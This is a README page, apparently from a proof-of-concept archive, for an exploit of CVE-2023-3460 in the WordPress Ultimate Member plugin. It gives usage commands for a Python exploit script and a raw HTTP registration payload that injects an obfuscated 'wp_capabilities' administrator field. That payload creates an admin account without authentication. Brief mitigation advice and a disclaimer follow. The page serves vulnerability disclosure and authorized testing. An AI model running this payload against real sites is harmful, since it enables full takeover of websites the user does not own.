CVE-2023-3460 PoC — Ultimate Member < 2.6.7 - Unauthenticated Privilege Escalation

Source

Associated Vulnerability

Readme

# 🚨 CVE-2023-3460 - WordPress Ultimate Member Privilege Escalation Exploit

This is a proof-of-concept (PoC) exploit for [CVE-2023-3460](https://nvd.nist.gov/vuln/detail/CVE-2023-3460), a critical vulnerability in the WordPress plugin **Ultimate Member**. It allows **unauthenticated users** to escalate their privileges to **Administrator** by crafting a malicious registration request.

> 🔥 **Impact:** Full site compromise through unauthorized admin account creation.

---

## 📌 Vulnerability Details

- **Plugin Affected:** Ultimate Member
- **Affected Versions:** ≤ 2.6.6
- **Fixed Version:** 2.6.7
- **Exploit Type:** Privilege Escalation via Registration Abuse
- **Authentication Required:** ❌ No
- **CVE:** [CVE-2023-3460](https://nvd.nist.gov/vuln/detail/CVE-2023-3460)

---

## ⚙️ Requirements

- Python 3
- `requests` library

Install requirements:

```bash
pip3 install requests
```

---

## 🧪 Exploit Usage

```bash
python3 CVE-2023-3460.py -t <TARGET_URL> -u <NEW_USERNAME> -p <NEW_PASSWORD> -e <EMAIL>
```

### ✅ Example:

```bash
python3 CVE-2023-3460.py -t http://localhost/register/ -u pwnadmin -p Pass@123 -e pwn@evil.com
```

---

## 📥 Exploit Script Features

- Fetches CSRF nonce (`_wpnonce`) from the register page
- Bypasses form validation
- Injects `wp_capabilities` with `administrator` role
- Creates a new admin user without authentication

---

## 🔐 Sample Exploit Payload

```http
POST /register/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user_login=pwnadmin&
user_email=pwn@evil.com&
user_password=Pass@123&
wp_càpabilities[administrator]=1&
_um_nonce=<nonce_value>
```

---

## 🛡️ Mitigation

- Update Ultimate Member plugin to **v2.6.7** or above
- Disable open registration if not required
- Monitor user creation logs for suspicious activity

---

## 📚 References

- 🔗 [Patchstack Advisory](https://patchstack.com/database/vulnerability/ultimate-member/wordpress-ultimate-member-plugin-2-6-6-authenticated-privilege-escalation-vulnerability)
- 🔗 [CVE-2023-3460 on NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-3460)

---

## ⚠️ Disclaimer

This script is provided for **educational and authorized testing purposes only**. Unauthorized exploitation of systems is illegal and unethical. Use it **only** on systems you own or have permission to test.

---

## 👨‍💻 Author

- 💀 [GURJOT SINGH]
- 🔒 [Linkdin: https://in.linkedin.com/in/gurjot-singh-8198b3220]

File Snapshot

 [4.0K]  /data/pocs/9c7688bdcce13920444eaf4102ee24f068dcaf1c
├── [3.5K]  CVE-2023-3460.py
└── [2.4K]  README.md

0 directories, 2 files

Remarks